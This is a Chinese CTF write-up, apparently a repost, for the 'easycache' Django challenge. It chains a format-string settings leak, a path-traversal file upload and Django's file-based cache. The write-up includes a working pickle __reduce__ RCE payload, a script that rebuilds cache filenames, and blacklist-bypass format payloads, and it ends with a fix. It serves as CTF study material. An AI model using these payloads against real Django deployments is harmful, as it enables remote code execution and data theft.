2023香山杯决赛 easycache Django 缓存反序列化

admin 2023年11月29日20:54:21评论28 views字数 8131阅读27分6秒阅读模式

比赛时 fix 了但没利用成,和 Django 的底层实现有关,最近忙完考证啥的抽空做了一下,题目食用体验不错,也再次感受到 AWDPlus fix 先很重要‼️

0x01 环境搭建

题目压缩包解压缩后,得到 src.zip 和 dist-packages.tar.gz ,再次解压两个压缩包,用 pycharm 打开,右键 dist-packages,选择 Mark Directory as Sources Root,然后运行 manage.py ,就会加载本地依赖了(毕竟比赛时断网),不过在加载 @cache_page 时报错

File "/xxx/xxx/ezcache_46a36a7fc92468cddf08cd7c45883491/src/app/urls.py", line 20, in <module>
    from . import views
  File "/xxx/xxx/ezcache_46a36a7fc92468cddf08cd7c45883491/src/app/views.py", line 7, in <module>
    @cache_page(60)

经过 debug 发现,发现 src/app/settings.py 下的 CACHES.default.LOCATION 是通过环境变量加载,然后我们本地没定义,为 None ,然后就报错了… (比赛时就注释掉装饰器继续做 fix 了)

CACHES = {
....
        'LOCATION': os.environ.get('cache_path'),
....
}

我们传入个环境变量值即可,此外 STATIC_ROOT 改为 ./static/TEMPLATES[].DIRS 改为 ./app/templates。然后 ./src/app/views.py 第 25 行里的 /app/static 目录也要改为相对目录 ./static 即可

0x02 漏洞分析

题目基于 django,核心代码(views.py)

@cache_page(60)
def index(request):
    return render(request,'index.html')

def generate_page(request):
    if request.method == "POST":
        intro = str(request.POST.get('intro'))
        if 'admin' in intro or 'config.' in intro:
            return HttpResponse("can't be as admin")
        outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
        f = request.FILES.get("file"None)
        filename = request.POST.get('filename'if request.POST.get('filename'else f.name
        if '.py' in filename:
            return HttpResponse("no py")
        if f is None:
            return HttpResponse("no file")
        else:
            with open("./static/{}".format(filename), 'wb+'as ff:
                for chunk in f.chunks():
                    ff.write(chunk)
            return HttpResponse(outer_html + "</p><img src='/static/{}'>".format(filename))
    else:
        return HttpResponse("unable")

generate_page 方法可以除了 .py 结尾以外的任意上传文件,不过注意 f.name 是无法穿越到,获取到是文件 basename,但 request.POST.get('filename') 可以获取我们输入的字符串为文件名,

这里有个小知识点,with open("./static/{}".format(filename), 'wb+') as ff 在 python3 是可以目录穿越的,python2 不行。

题目名字为 easycache,我们跟一下 django 的 @cache_page 装饰器实现,django/core/cache/init.py

def _create_cache(backend, **kwargs):
    try:
        # Try to get the CACHES entry for the given backend name first
        try:
            conf = settings.CACHES[backend]
        except KeyError:
....

发现会读取 settings.py 里的 BACKEND 也就是实现后端,题目定义的为

CACHES = {
    'default': {
        'BACKEND''django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': os.environ.get('cache_path'),
    }
}

实现代码在 django/core/cache/backends/filebased.py 目录中,get 方法存在 pickle 反序列化

def get(self, key, default=None, version=None):
        fname = self._key_to_file(key, version)
        try:
            with open(fname, 'rb'as f:
                if not self._is_expired(f):
                    return pickle.loads(zlib.decompress(f.read()))
        except FileNotFoundError:
            pass
        return default

不过他的命名 841d31a6d146abdb7e05d9cea0273545.djcache 比较随机,而且 cache 目录从环境变量获取,我们需要知道 cache 的文件路径,然后通过任意文件上传覆盖,我们恶意构造的序列化数据。


那怎么获取文件路径咧?细心的同学会发现,generate_page 方法中的
outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)

存在格式化字符串漏洞,那就可以读取任意 user 对象里的内容,不过发现常用的都被 ban 了

{user.groups.model._meta.app_config.module.admin.settings}
{user.user_permissions.model._meta.app_config.module.admin.settings}

adminconfig. 在黑名单中,继续找找,找到了条不在黑名单中的(其实最好是这个脚本,看看有哪些访问路径能获取到,挖坑)

{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES}


2023香山杯决赛 easycache Django 缓存反序列化


同理,通过下面 payload 分别可以获得项目运行根目录和 static 静态文件路径
{user._groups.model._meta.default_apps.app_configs[auth].module.settings.BASE_DIR}
{user._groups.model._meta.default_apps.app_configs[auth].module.settings.STATIC_ROOT}

现在路径拿到了,还差 cache 的名字了


看下 cache 名字的核心生成逻辑,其实是固定的,主要是根据请求的 url 来生成

def _generate_cache_key(request, method, headerlist, key_prefix):
    """Return a cache key from the headers given in the header list."""
    ctx = hashlib.md5()
    for header in headerlist:
        value = request.META.get(header)
        if value is not None:
            ctx.update(value.encode())
    url = hashlib.md5(iri_to_uri(request.build_absolute_uri()).encode('ascii'))
    cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (
        key_prefix, method, url.hexdigest(), ctx.hexdigest())
    return _i18n_cache_key_suffix(request, cache_key)

def _generate_cache_header_key(key_prefix, request):
    """Return a cache key for the header cache."""
    url = hashlib.md5(iri_to_uri(request.build_absolute_uri()).encode('ascii'))
    cache_key = 'views.decorators.cache.cache_header.%s.%s' % (
        key_prefix, url.hexdigest())
    return _i18n_cache_key_suffix(request, cache_key)

有的东西需要改改,因为很多值是 django 启动时动态获取的,仿写

# coding: utf-8
import hashlib
from django.conf import settings
from django.utils.translation import get_language
from django.utils.timezone import get_current_timezone_name
from django.utils.encoding import iri_to_uri

# 项目源码的 settings
import src.app.settings
settings.configure(src.app.settings)

def _i18n_cache_key_suffix(cache_key):
    """If necessary, add the current locale or time zone to the cache key."""
    if settings.USE_I18N or settings.USE_L10N:
        # first check if LocaleMiddleware or another middleware added
        # LANGUAGE_CODE to request, then fall back to the active language
        # which in turn can also fall back to settings.LANGUAGE_CODE
        # cache_key += '.%s' % getattr(request, 'LANGUAGE_CODE', get_language())
        cache_key += '.%s' % get_language()
    if settings.USE_TZ:
        cache_key += '.%s' % get_current_timezone_name()
    return cache_key

def _generate_cache_header_key(uri):
    # 默认是空
    key_prefix = ''
    """Return a cache key for the header cache."""
    url = hashlib.md5(iri_to_uri(uri).encode('ascii'))
    cache_key = 'views.decorators.cache.cache_header.%s.%s' % (
        key_prefix, url.hexdigest())
    return _i18n_cache_key_suffix(cache_key)

def _generate_cache_key(uri, method):
    # 默认是空
    key_prefix = ''
    """Return a cache key for the header cache."""
    url = hashlib.md5(iri_to_uri(uri).encode('ascii'))
    cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (
        key_prefix, method, url.hexdigest(), hashlib.md5().hexdigest())
    return _i18n_cache_key_suffix(cache_key)

def make_key(k):
    # 默认是 1
    version = 1
    return '%s:%s:%s' % ("", version, k)

request_uri = 'http://xxxx/index'

cache_header_key = make_key(_generate_cache_header_key(request_uri))
print(''.join([hashlib.md5(cache_header_key.encode()).hexdigest(), '.djcache']))

# method 对应 url 请求方法 GET POST等
cache_key = make_key(_generate_cache_key(request_uri, "GET"))
print(''.join([hashlib.md5(cache_key.encode()).hexdigest(), '.djcache']))

脚本运行结果

2023香山杯决赛 easycache Django 缓存反序列化

和 Django 生成的一样

2023香山杯决赛 easycache Django 缓存反序列化

题目中的序列化方式是

def _write_content(self, file, timeout, value):
    expiry = self.get_backend_timeout(timeout)
    file.write(pickle.dumps(expiry, self.pickle_protocol))
    file.write(zlib.compress(pickle.dumps(value, self.pickle_protocol)))

仿照逻辑写一个恶意序列化类

class RCE:
    def __reduce__(self):
        return os.system, ("whoami",)

expire = time.time() + 60  # timeout
payload = pickle.dumps(expire, pickle.HIGHEST_PROTOCOL)
payload += zlib.compress(pickle.dumps(RCE(), pickle.HIGHEST_PROTOCOL))

本地打成功了,比赛环境不出网(应该),但 os.system 这种执行方式,直接输出回显到控制台,而不是返回页面

2023香山杯决赛 easycache Django 缓存反序列化

2023香山杯决赛 easycache Django 缓存反序列化
def get(self, key, default=None, version=None):
 .....
                return pickle.loads(zlib.decompress(f.read()))
 ....

返回值执行成功是 0,执行到下一个函数会报错,而且题目 debugFalse,我们无法利用报错抛出异常来获取结果

def __reduce__(self):
  return (exec,("raise Exception(__import__('os').popen('whoami').read())",))

不过题目提供一个读文件的 static 路径,我们把 flag 文件移过去然后访问即可

class RCE:
    def __reduce__(self):
        # return os.system, ("ls -alh / > " + static_path,)
        return exec, ("__import__('os').system('ls -alh / > " + os.path.join(static_path, 'output.txt') + "')",)
2023香山杯决赛 easycache Django 缓存反序列化

当然 pickle 反序列化无回显也有像报错注入和时间注入这种姿势,可以参考 https://www.cnblogs.com/sijidou/p/16305695.html


总体利用思路

  1. 通过格式化字符串漏洞获取 django 的运行路径、缓存路径和静态文件路径,并得到缓存路径相对于静态文路径
  2. 根据 flask cache 路由拼接的 url 生成缓存文件名,构造恶意序列化数据
  3. 通过文件上传目录穿越至缓存目录
  4. 然后 flask cache 路由触发反序列化 rce,并访问 static 静态资源路径获取命令执行结果

0x03 FIX

经过分析,得知利用漏洞前提是需要获取缓存目录,而获取缓存目录需要利用利用格式化字符串漏洞,因为 ban 掉即可

if "user" in intro.lower() or "{" in intro.lower() or "}" in intro.lower():
 return HttpResponse("can't be as admin")

注意不能直接 ban 掉目录穿越的字符 .. 因为会导致 check 失败

0x04 One More Thing

题目源码和完整利用 exp 下载可以在【听雨安全】公众号回复【23ezcache】获取,欢迎各位师傅交流~

原文始发于微信公众号(听雨安全):2023香山杯决赛 easycache Django 缓存反序列化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月29日20:54:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023香山杯决赛 easycache Django 缓存反序列化http://cn-sec.com/archives/2251777.html

发表评论

匿名网友 填写信息